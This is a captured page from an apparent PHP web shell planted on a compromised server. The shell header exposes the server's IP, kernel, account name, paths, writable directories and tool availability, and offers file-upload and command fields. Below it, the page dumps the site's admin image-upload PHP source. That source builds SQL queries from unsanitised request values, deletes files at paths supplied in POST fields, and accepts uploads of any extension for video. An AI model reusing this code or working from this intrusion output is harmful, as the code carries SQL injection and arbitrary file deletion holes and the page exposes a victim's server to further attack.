SCDNG PELER
Server IP : 162.241.126.129  /  Your IP : 3.142.199.54
Web Server : Apache
System : Linux 162-241-126-129.cprapid.com 4.18.0-477.27.2.el8_8.x86_64 #1 SMP Fri Sep 29 08:21:01 EDT 2023 x86_64
User : rvway5nu4 ( 1018)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/rvway5nu4/public_html/admin/customized/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/rvway5nu4/public_html/admin/customized/extint_subcust_clsa.php
<?php

include("../../config/data.config.php");
if (!isset($_SESSION["SESS_v_adminLoggedIn"]))
{	header ("Location: $MAP_VROOT_FILE_PATH/admin/login.php"); 		
	exit;
}
//echo '<pre>';  print_r( $_SESSION );  echo '</pre>';   echo $target = "$DOCUMENT_ROOT$PIC_DIR/banner/$filename";  exit;
include("$LIB_DIR/functions.lib.php");
include("$LIB_DIR/db.php");
include("$LIB_DIR/db/mysqli.php");
include("$LIB_DIR/data.constant.php");
include("$LIB_DIR/sitemsgs.php");
include("$LIB_DIR/class.paging.php");
include("$LIB_DIR/functions.mailer.php");
global $SITE_URL, $IMG_DIR;  

$db	=	new Db( $DB_HOST, $DB_USERNAME, $DB_PASSWORD, $DB_NAME, $DB_REPORT_ERROR, $DB_PERSISTENT_CONN);

$img_preview  = '';
$img_name  = '';
$inactive_checked  = '';
$active_checked  = '';


$type  = $_REQUEST['type'];
if( $type == 'I' ){
	$heading = 'Internal Class';
}else if( $type == 'E' ){
	$heading = 'External Class';
}



if(($_POST['submitForm']) && ($_POST['submitForm'] == 'yes')  ){     
	  echo '<pre>';  print_r( $_REQUEST );  echo '</pre>';
	  //echo '<pre>';  print_r( $_FILES );  echo '</pre>';  
	  // exit;
	 EditProduct($_POST['custcat'], $_POST['catID'],$_POST['type'], $db);
}

$sid18chld0  = '';
$sid18chld1  = '';
$sid18chld2  = '';
$sid18chld3  = '';
$sid18chld4  = '';
$sid18show  = '';

$custcat  = ( isset( $_REQUEST['custcat'] ) ) ? $_REQUEST['custcat'] : '' ;
$catID  = ( isset( $_REQUEST['catID'] ) ) ? $_REQUEST['catID'] : '' ;
$type  = ( isset( $_REQUEST['type'] ) ) ? $_REQUEST['type'] : '' ;

$i_cls_extintID  = ( isset( $_REQUEST['i_cls_extintID'] ) ) ? $_REQUEST['i_cls_extintID'] : '' ;

function EditProduct( $custcat, $catID, $type, $db)
{  
		global $PROMPT, $ARR_GLOBAL_STATUS, $ARR_USERS, $ARR_STATUS, $HTTP_SESSION_VARS, $HTTP_POST_FILES, $HTTP_POST_VARS, $DOCUMENT_ROOT, $PIC_DIR, $BANNER_DIR, $TEMP_DIR;
        $userNameFlag = FALSE;
		$userEmailFlag = FALSE;
		$sql = "SELECT i_cls_extintID FROM customized_class_ext_int  WHERE custcat = '".$custcat."'  AND  catID = '".$catID."' AND type  = '".$type."' ";
		
		echo '<BR/><BR/>';

		$result=$db->query($sql);

		if($result->num_rows) {		 // 
			
			$sqlIn = "UPDATE customized_class_ext_int SET i_sortOrder = '".$_REQUEST['i_sortOrder']."', v_show_image_type = '".$_REQUEST['v_show_image_type']."', c_status = '".$_REQUEST['c_status']."', c_status = '".$_REQUEST['c_status']."',   dt_modifyDate = NOW()  WHERE custcat = '".$custcat."'  AND  catID = '".$catID."' AND type  = '".$type."' ";  
			//echo $sqlIn;  //exit;    
			$db->query($sqlIn);
			$row = $result->row;
			
			$i_cls_extintID  = $result->row['i_cls_extintID'];
			
			$PROMPT = '<div class="alert alert-warning alert-dismissable">
                                    <button type="button" class="close" data-dismiss="alert" aria-hidden="true">X</button>
                                    <strong><i class="fa fa-exclamation-circle"></i> Warning : </strong>Already : .
            </div>';

        }else{
			$sqlIn = "INSERT INTO customized_class_ext_int SET c_status = '".$_REQUEST['c_status']."', v_show_image_type = '".$_REQUEST['v_show_image_type']."', i_sortOrder = '".$_REQUEST['c_status']."', custcat = '".$custcat."' , catID = '".$catID."', type  = '".$type."', dt_addedDate = NOW()  ";  

			//echo $sqlIn; echo '<BR/><BR/>';

			$db->query($sqlIn);	 
			$i_cls_extintID = $db->getLastId();   
		}
		


		
		    // delete_img_flag
         if($i_cls_extintID){
			for( $i=1; $i < 21 ; $i++ ) {

				$delete_img_flag  = $_POST['delete_img_flag'.$i];
				if($delete_img_flag == 1 ){
					$todel_img_name  = $_POST['todel_img_name'.$i];
					$deltarget = "$DOCUMENT_ROOT$PIC_DIR/$todel_img_name";
					@unlink($deltarget);				
				}
				
				if ($_FILES["v_image".$i]["size"] > 0)
				{	$filename = $_FILES["v_image".$i]["name"];
					
					$fileArray = explode(".", $filename);
					$extension = strtolower(end($fileArray));
					$newFileName  = "extintcls/extint_".$i_cls_extintID.'_'.$i.''.".$extension";
					
					if ($extension == 'jpg' || $extension == 'jpeg' || $extension == 'gif' || $extension == 'png' || $extension == 'bit')
					{	$target = "$DOCUMENT_ROOT$PIC_DIR/$newFileName";
						$filename2 = end(explode('/',$newFileName));

						while (file_exists("$target"))
						{	
							$random_number = rand(10000, 99999);
							$newFileName = '/extintcls/'.$random_number."_".$filename2;
							$target = "$DOCUMENT_ROOT$PIC_DIR$newFileName";
						}

						if(move_uploaded_file($_FILES["v_image".$i]["tmp_name"], $target))
						{	
							$query1 = "update   customized_class_ext_int  set  v_image".$i." = '$newFileName' where i_cls_extintID = '$i_cls_extintID'";
							$db->query($query1);	
							$flag = true;

							$todel_img_name  = $_POST['todel_img_name'.$i];
							$deltarget = "$DOCUMENT_ROOT$PIC_DIR/$todel_img_name";
							@unlink($deltarget);

						}
					}
					
				}
			}




			for( $i=1; $i < 31 ; $i++ ) {

				$delete_3dimg_flag  = $_POST['delete_3dimg_flag'.$i];
				if($delete_3dimg_flag == 1 ){
					$todel_img_name  = $_POST['todel_3dimg_name'.$i];
					$deltarget = "$DOCUMENT_ROOT$PIC_DIR/$todel_img_name";
					@unlink($deltarget);				
				}
				
				if ($_FILES["v_3dimage".$i]["size"] > 0)
				{	$filename = $_FILES["v_3dimage".$i]["name"];
					
					$fileArray = explode(".", $filename);
					$extension = strtolower(end($fileArray));
					$newFileName  = "extintcls/extint_3dimg_".$i_cls_extintID.'_'.$i.''.".$extension";
					
					if ($extension == 'jpg' || $extension == 'jpeg' || $extension == 'gif' || $extension == 'png' || $extension == 'bit')
					{	$target = "$DOCUMENT_ROOT$PIC_DIR/$newFileName";
						$filename2 = end(explode('/',$newFileName));


						while (file_exists("$target"))
						{	
							$random_number = rand(10000, 99999);
							$newFileName = '/extintcls/'.$random_number."_".$filename2;
							$target = "$DOCUMENT_ROOT$PIC_DIR$newFileName";
						}

						if(move_uploaded_file($_FILES["v_3dimage".$i]["tmp_name"], $target))
						{	
							$query1 = "update   customized_class_ext_int  set  v_3dimage".$i." = '$newFileName' where i_cls_extintID = '$i_cls_extintID'";
							$db->query($query1);	
							$flag = true;

							$todel_img_name  = $_POST['todel_img_name'.$i];
							$deltarget = "$DOCUMENT_ROOT$PIC_DIR/$todel_img_name";
							@unlink($deltarget);

						}
					}
					
				}
			}






				$delete_item_video  = $_POST['delete_item_video'];
				if($delete_item_video == 1 ){
					$del_item_video  = $_POST['del_item_video'];
					$deltarget = "$DOCUMENT_ROOT$PIC_DIR/$del_item_video";
					unlink($deltarget);				
				}
				
				if ($_FILES["item_video"]["size"] > 0)
				{	$filename = $_FILES["item_video"]["name"];
					
					$fileArray = explode(".", $filename);
					$extension = strtolower(end($fileArray));
					$newFileName  = "extintcls/extint_video_".$i_cls_extintID.'_'.$i.''.".$extension";
					
					//if ($extension == 'jpg' || $extension == 'jpeg' || $extension == 'gif' || $extension == 'png' || $extension == 'bit')
					//{	
						
						$target = "$DOCUMENT_ROOT$PIC_DIR/$newFileName";						
						$filename2 = end(explode('/',$newFileName));

						while (file_exists("$target"))
						{	
							$random_number = rand(10000, 99999);
							$newFileName = '/extintcls/'.$random_number."_".$filename2;
							$target = "$DOCUMENT_ROOT$PIC_DIR$newFileName";
						}

						if(move_uploaded_file($_FILES["item_video"]["tmp_name"], $target))
						{	
							$query1 = "update   customized_class_ext_int  set  item_video = '$newFileName' where i_cls_extintID = '$i_cls_extintID'";
							$db->query($query1);	
							$flag = true;

							$todel_img_name  = $_POST['todel_img_name'.$i];
							$deltarget = "$DOCUMENT_ROOT$PIC_DIR/$todel_img_name";
							@unlink($deltarget);

						}

					//}
					
				}



/////
			$PROMPT ='<div class="alert alert-success alert-dismissable">
                                    <button type="button" class="close" data-dismiss="alert" aria-hidden="true">X</button>
                                    <strong><i class="fa fa-check-circle"></i> Success :</strong> Update successfully.
                      </div>';
		 }else
		 {
		    
		    $PROMPT = '<div class="alert alert-warning alert-dismissable">
                                    <button type="button" class="close" data-dismiss="alert" aria-hidden="true">X</button>
                                    <strong><i class="fa fa-exclamation-circle"></i> Warning :</strong> Sorry try again.;
               </div>';
		 }



		$_SESSION['msg'] = $PROMPT;  // exit;
		//echo SUB_DIR_PROJECT.'/admin/customized/extint_subcust_clsa.php?custcat='.$custcat.'&catID='.$catID.'&type='.$type; exit;
		header('Location: '.SUB_DIR_PROJECT.'/admin/customized/extint_subcust_clsa.php?custcat='.$custcat.'&catID='.$catID.'&type='.$type);
		exit;
	
}




if( (!empty( $_REQUEST['custcat'])) && (!empty( $_REQUEST['catID'])) && (!empty( $_REQUEST['type'])) ){
		$img_preview  = '';
		$img_name  = '';
		$inactive_checked  = '';
		$active_checked  = '';
		$v_title  = '';
		
		$custcat  = $_REQUEST['custcat'];
		$catID  = $_REQUEST['catID'];
		$type  = $_REQUEST['type'];

		$sql = "SELECT * FROM customized_class_ext_int  WHERE custcat = '".$custcat."'  AND  catID = '".$catID."' AND type  = '".$type."' ";
		$result=$db->query($sql);
		if($result->num_rows) {
 
			//echo '<pre>';  print_r( $result->row); echo '</pre>';  exit;

			foreach( $result->row AS $key=>$val ){
					$$key  = stripslashes($val);			
			}

            $non_select = ($v_show_image_type == 'non' ) ? 'checked':'';
			$normal_select = ($v_show_image_type == 'normal' ) ? 'checked':'';
			$d3_select = ($v_show_image_type == '3d' ) ? 'checked':'';
			$video_select = ($v_show_image_type == 'video' ) ? 'checked':'';

			$act_select = ($c_status == 1 ) ? 'SELECTED':'';
			$inact_select = ($c_status != 1 ) ? 'SELECTED':'';


			for( $i=1; $i < 21 ; $i++ ) {
				$img  = 'v_image'.$i;
				$imgsrc	  = $$img;
				//echo $v_image1;   exit;
				$target = "$DOCUMENT_ROOT$PIC_DIR/$imgsrc";		
				if ( $$img != ''  && file_exists("$target"))
				{	
					$imgpre			= 'v_imageprev'.$i;					
					$delimg			= 'del_v_imageprev'.$i;
					$$delimg	    = $imgsrc;
					//echo $del_v_imageprev1;  exit;
					$todel_img_name  = $imgsrc;
					$$imgpre = '<BR/><img src="'.$SITE_URL.'/pic/'.$imgsrc.'" class="img-responsive" style="max-width:300px;" >';
					//echo $v_imageprev1;  exit;
				}
			}

			$threed_image_array  = array();
			for( $i=1; $i < 31 ; $i++ ) {
				$img  = 'v_3dimage'.$i;
				$imgsrc	  = $$img;
				//echo $v_image1;   exit;
				$target = "$DOCUMENT_ROOT$PIC_DIR/$imgsrc";		
				if ( $$img != ''  && file_exists("$target"))
				{	
					$imgpre			= 'v_3dimageprev'.$i;					
					$delimg			= 'del_v_3dimageprev'.$i;
					$$delimg	    = $imgsrc;

					$threed_image_array[$i]  = $SITE_URL.'/pic/'.$imgsrc;
					//echo $del_v_imageprev1;  exit;
					$todel_img_name  = $imgsrc;
					$$imgpre = '<BR/><img src="'.$SITE_URL.'/pic/'.$imgsrc.'" class="img-responsive" style="max-width:300px;" >';
					//echo $v_3dimageprev1;  exit;
				}
			}



			$videotarget = "$DOCUMENT_ROOT$PIC_DIR/$item_video";
			if ( $item_video != ''  && file_exists("$videotarget"))
			{
				$videopath = $SITE_URL.'/pic/'.$item_video;
			}
			//echo $videopath;  exit;

		 }

}



?>

<!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <title>Carivon</title>
    <meta name="description" content="">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <meta name="robots" content="all,follow">
    <!-- Bootstrap CSS-->
    <link rel="stylesheet" href="<?php echo $SITE_URL;  ?>/admin/vendor/bootstrap/css/bootstrap.min.css">
    <!-- Font Awesome CSS-->
    <link rel="stylesheet" href="<?php echo $SITE_URL;  ?>/admin/vendor/font-awesome/css/font-awesome.min.css">
    <!-- Fontastic Custom icon font-->
    <link rel="stylesheet" href="<?php echo $SITE_URL;  ?>/admin/css/fontastic.css">
    <!-- Google fonts - Roboto -->
    <link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Roboto:300,400,500,700">
    <!-- jQuery Circle-->
    <link rel="stylesheet" href="<?php echo $SITE_URL;  ?>/admin/css/grasp_mobile_progress_circle-1.0.0.min.css">
    <!-- Custom Scrollbar-->
    <link rel="stylesheet" href="<?php echo $SITE_URL;  ?>/admin/vendor/malihu-custom-scrollbar-plugin/jquery.mCustomScrollbar.css">
    <!-- theme stylesheet-->
    <link rel="stylesheet" href="<?php echo $SITE_URL;  ?>/admin/css/style.default.css" id="theme-stylesheet">
    <!-- Custom stylesheet - for your changes-->
    <link rel="stylesheet" href="<?php echo $SITE_URL;  ?>/admin/css/custom.css">
    <!-- Favicon-->
    <link rel="shortcut icon" href="img/favicon.ico">
    <!-- Tweaks for older IEs--><!--[if lt IE 9]>
        <script src="https://oss.maxcdn.com/html5shiv/3.7.3/html5shiv.min.js"></script>
        <script src="https://oss.maxcdn.com/respond/1.4.2/respond.min.js"></script><![endif]-->
<link href="<?php echo $SITE_URL;  ?>/simple-360-degrees-image-viewer-plugin-for-jquery-rotateimage/script/jquerysctipttop.css" rel="stylesheet" type="text/css">
<link rel="stylesheet" type="text/css" href="<?php echo $SITE_URL;  ?>/simple-360-degrees-image-viewer-plugin-for-jquery-rotateimage/script/jquery-ui.css"/> 
<script src="<?php echo $SITE_URL;  ?>/simple-360-degrees-image-viewer-plugin-for-jquery-rotateimage/script/jquery.min.js"></script>
<script src="<?php echo $SITE_URL;  ?>/simple-360-degrees-image-viewer-plugin-for-jquery-rotateimage/script/jquery-ui.min.js"></script>

<script src="<?php echo $SITE_URL;  ?>/simple-360-degrees-image-viewer-plugin-for-jquery-rotateimage/script/rotate.js"></script>
<link rel="stylesheet" href="<?php echo $SITE_URL;  ?>/simple-360-degrees-image-viewer-plugin-for-jquery-rotateimage/css/rotate.css" media="all">
	<style>
	.rotatebox {
	width: 655px;
	min-width: 655px;
	margin: 0 auto;
	margin-left: 0px;
	}

	.ui-slider {
		position: relative;
		text-align: left;
		left: 20%;
	}


	@media screen and (max-width: 600px) {

		.rotatebox {
		width: 320px;
		min-width: 320px;
		margin: 0 auto;
		margin-left: 0px;
		}

		.ui-slider {
			position: relative;
			text-align: left;
			left: 1%;
		}

	}



	</style>
  </head>
  <body>
    <!-- Side Navbar -->

<?php require_once(ABSPATH.'../admin/common/admin_sidebar.php'); 

$sid18chld0  = '';
$sid18chld1  = '';
$sid18chld2  = '';
$sid18chld3  = '';
$sid18chld4  = '';
$sid18show  = '';

$customize_cat_name  = ''; 
if( !empty($_REQUEST['custcat']) ){
	$custcatID  = $_REQUEST['custcat'];
	if( $custcatID == 1){
		$customize_cat_name  = 'Customized Class A : ';
		$key_field   = 'i_classaID';
		$key_table   = 'customized_classa_category';
		$redpage  =  'customized_clsa.php';

		$sid18chld0  = 'active';
		$sid18chld1  = 'active';
		$sid18chld2  = '';
		$sid18chld3  = '';
		$sid18chld4  = '';
		$sid18show  = 'show';

	}else if( $custcatID == 2 ){
		$customize_cat_name  = 'Customized Class B : ';
		$key_field   = 'i_classbID';
		$key_table   = 'customized_classb_category';
		$redpage  =  'customized_clsb.php';

		$sid18chld0  = 'active';
		$sid18chld1  = '';
		$sid18chld2  = 'active';
		$sid18chld3  = '';
		$sid18chld4  = '';
		$sid18show  = 'show';
		

	}else if( $custcatID == 3 ){
		$customize_cat_name  = 'Customized Class C : ';
		$key_field   = 'i_classcID';
		$key_table   = 'customized_classc_category';
		$redpage  =  'customized_clsc.php';

		$sid18chld0  = 'active';
		$sid18chld1  = '';
		$sid18chld2  = '';
		$sid18chld3  = 'active';
		$sid18chld4  = '';
		$sid18show  = 'show';

	}else if( $custcatID == 4 ){
		$customize_cat_name  = 'Customized Class B : ';
		$key_field   = 'i_classdID';
		$key_table   = 'customized_classd_category';
		$redpage  =  'customized_clsd.php';

		$sid18chld0  = 'active';
		$sid18chld1  = '';
		$sid18chld2  = '';
		$sid18chld3  = '';
		$sid18chld4  = 'active';
		$sid18show  = 'show';
	}
}

$catID  = $_REQUEST['catID'];
$sql = "SELECT * FROM ".$key_table."  WHERE ".$key_field." = '".$catID."'  "; 
$result=$db->query($sql);
if($result->num_rows) {		
	$category_name  = $result->row['name']; 
}

?>
    <div class="page">
      <!-- navbar-->
	  <?php require_once(ABSPATH.'../admin/common/admin_header_nav.php'); ?>
      <!-- Counts Section -->
      <section class="dashboard-counts section-padding">
        <form  method="post" enctype="multipart/form-data">
		<div class="container-fluid">
          <div class="row">
			<!--  Start to RV -->
			<div class="col-xl-12 col-md-12 col-lg-12 card" style="padding:10px;" >
			  <h4><?php echo $customize_cat_name; ?>  <span style="font-size:17px;" ><?php echo $category_name; ?></span> &nbsp; :&nbsp;  <span style="font-size:15px;" ><?php echo $heading;  ?></span></h4>
			</div>
		 </div>
			<!-- Start to image -->



			<div class="col-xl-12 col-md-12 col-lg-12 card">

			  
			  <div class="card-body">
			  	<!--
				<div class="row " style="padding-top: 20px; border-top:1px solid #ccc; ">
					<div class="col-lg-5 col-sm-12"  >
						<div class="form-group row">
						  <label class="col-lg-4 col-sm-12 form-control-label">Status</label>
						  <div class="col-lg-8 col-sm-12 ">
							<select name="c_status" class="form-control">
							  <option value="1" <?php echo $act_select; ?>  > Active </option>
							  <option value="0" <?php echo $inact_select; ?> > Inactive </option>
							</select>
						  </div>
						</div>
						
					</div>
					<div class="col-lg-5 col-sm-12"  >
						<div class="form-group row">
						  <label class="col-lg-4 col-sm-12 form-control-label">Sort Orde</label>
						  <div class="col-lg-8 col-sm-12 ">
							<input type="text" name="i_sortOrder" value="<?php echo $i_sortOrder; ?>"  class="form-control">
						  </div>
						</div>
						
					</div>
				</div>
				-->
			   	<div class="row" >
				<div class="col-lg-12 col-sm-12" style="padding:0px; margin:0px; " ><HR/>
					<strong>Pic</strong>
					<span>To look proper upload image size : width * height: 650 * 500</span><BR/>
				</div>
				<HR/>

				<?php 
					if( $_REQUEST['type'] == 'I' ){
						$noofpic = 2;
					}else{
						$noofpic = 21;
						$d3view_flag = 1;
					}
					
					for( $i=1; $i < $noofpic ; $i++ ) {  ?>
					<div class="col-lg-6 col-sm-12"  >
					 <div class="form-group row">
						
						 
						 <label class="col-sm-12 form-control-label">Pic <?php echo $i;  ?></label>
						<div class="col-lg-12 col-sm-12"  >
						  <input type="file" name="v_image<?php echo $i;  ?>" class="form-control">
						 
						  <?php 
						  
							$imgpre			= 'v_imageprev'.$i;	
							echo  $imgrev  = $$imgpre;

							$delimg			= 'del_v_imageprev'.$i;	
							$delimgName			= $$delimg;
						  ?>
							<input type="hidden" name="todel_img_name<?php echo $i;  ?>" value="<?php echo $delimgName; ?>"  class="form-control">						
							<div class="row" >
								<label class="col-sm-5 form-control-label">Delete Image :</label>
								<select name="delete_img_flag<?php echo $i;  ?>" class="col-sm-5 form-control-label" >
									<option value="0" selected >No</option>
									<option value="1"  >Yes</option>
								</select>
							</div>
						</div>
					 </div>
					</div>
				<?php } ?>

				
				<div class="col-lg-12 col-sm-12"  >
					<div class="form-group row" style="padding-top: 20px; border-top:1px solid #ccc; ">
						<div class="col-lg-3 col-sm-12"  >
						  Upload Video
						</div>
						<div class="col-lg-9 col-sm-12"  >
							<input type="file" name="item_video"  id="item_video" class="form-control" >	
							
							<video width="450" height="350" controls>
							  <source src="<?php echo $videopath; ?>" type="video/mp4">
							  <source src="<?php echo $videopath; ?>" type="video/ogg">							
							</video>
							<input type="hidden" name="del_item_video" value="<?php echo $item_video; ?>"  class="form-control">
							<label class="col-sm-6 form-control-label">Delete Video :</label>
							<select name="delete_item_video" class="col-sm-6 form-control-label" >
								<option value="0" selected >No</option>
								<option value="1"  >Yes</option>
							</select>
						</div>
					</div>
					<HR/>
				</div>
				<?php if( $d3view_flag == 1 ) { ?>
				<div class="col-lg-12 col-sm-12" style="padding:0px; margin:0px; " ><HR/>
					<strong>Upload Images to 3d view</strong>
					<span>To look proper upload image size : width * height: 650 * 500</span><BR/>
				</div>
				<HR/>			
				<?php } ?>
				<?php if( $d3view_flag == 1 ) { ?>
				<?php for( $i=1; $i < 31 ; $i++ ) { ?>
					<div class="col-lg-6 col-sm-12"  >
					 <div class="form-group row">
						
						<label class="col-sm-12 form-control-label">Pic <?php echo $i;  ?></label>
						<div class="col-lg-12 col-sm-12"  >
						  <input type="file" name="v_3dimage<?php echo $i;  ?>" class="form-control">
						 
						  <?php 
						  
							$imgpre			= 'v_3dimageprev'.$i;	
							
							//echo $v_3dimageprev1; exit;
							echo  $imgrev  = $$imgpre;

							$delimg			= 'del_v_3dimageprev'.$i;	
							$delimgName			= $$delimg;
						  ?>
							<input type="hidden" name="todel_3dimg_name<?php echo $i;  ?>" value="<?php echo $delimgName; ?>"  class="form-control">						
							<div class="row" >
								<label class="col-sm-5 form-control-label">Delete Image :</label>
								<select name="delete_3dimg_flag<?php echo $i;  ?>" class="col-sm-5 form-control-label" >
									<option value="0" selected >No</option>
									<option value="1"  >Yes</option>
								</select>
							</div>
						</div>
					 </div>
					</div>
				<?php } ?>
				<HR/><BR/>
			    <?php } ?>
				<!--  -->
			</div>
			<div class="row" style="padding-top: 20px; border-top:1px solid #ccc; ">
				
				<div class="col-lg-3 col-sm-12"  >
				    <strong>Show Image type</strong>
				</div>
				<div class="col-lg-2 col-sm-12"  >
				 <input type="radio" name="v_show_image_type" id="v_show_image_type" <?php echo $non_select; ?> value="non" > No Image
				</div>
				<div class="col-lg-2 col-sm-12"  >
				 <input type="radio" name="v_show_image_type" id="v_show_image_type" <?php echo $normal_select; ?> value="normal" > Normal Image
				</div>
				<?php if( $d3view_flag == 1 ) { ?>
				<div class="col-lg-2 col-sm-12"  >
				 <input type="radio" name="v_show_image_type" id="v_show_image_type" <?php echo $d3_select; ?> value="3d" > 3D Image
				</div>
				<?php } ?>
				<div class="col-lg-2 col-sm-12"  >
				 <input type="radio" name="v_show_image_type" id="v_show_image_type" <?php echo $video_select; ?> value="video"  > Video
				</div>
				
			</div>
			<?php if( $d3view_flag == 1 ) { ?>
			<div class="row" style="padding-top: 20px; border-top:1px solid #ccc; ">
				<div class="col-lg-12 col-sm-12"  >
				</div>
				
				<div class="col-lg-6 col-sm-12"  >
				  <strong>3D image preview</strong>
				</div>
				<div class="col-lg-12 col-sm-12"  >
					<div class="rotatebox">
						<div class="images"> </div>
						<div class="slider"></div>
					</div>
					<script>
					<!--
					rotate([
					
					  <?php foreach($threed_image_array AS $key=>$val ){ ?>
					  "<?php echo $val; ?>",				 
					<?php } ?>
					]);
					-->
					</script>
				</div>

			</div>
			<?php } ?>
				


			<!-- End to image -->

				
		

			<div class="col-xl-12 col-md-12 col-lg-12 card">
				<div class="col-lg-6 col-sm-12">
					<div class="">
					 <div class="card-body">
						<div class="line"></div>
						<div class="form-group row">
						  <div class="col-sm-6 offset-sm-5"> 
							<input type="hidden" name="submitForm" value="yes"  class="form-control">
							<input type="hidden" name="custcat" value="<?php echo $custcatID; ?>"  class="form-control">
							<input type="hidden" name="type" value="<?php echo $type; ?>"  class="form-control">
							<input type="hidden" name="catID" value="<?php echo $catID; ?>"  class="form-control">
							<button type="submit" class="btn btn-primary">Update</button>
							<button type="reset" class="btn btn-secondary">Cancel</button>
						  </div>
						</div>
					 </div>
					</div>
				</div>
			</div>
          </div>
        </div>
      </section>
	  </form>
      <!-- Header Section-->
	  <?php require_once(ABSPATH.'../admin/common/admin_footer.php'); ?>
    </div>
	 <?php // require_once(ABSPATH.'../admin/common/admin_footer_js.php'); ?>
  </body>
</html>

Anon7 - 2022
SCDN GOK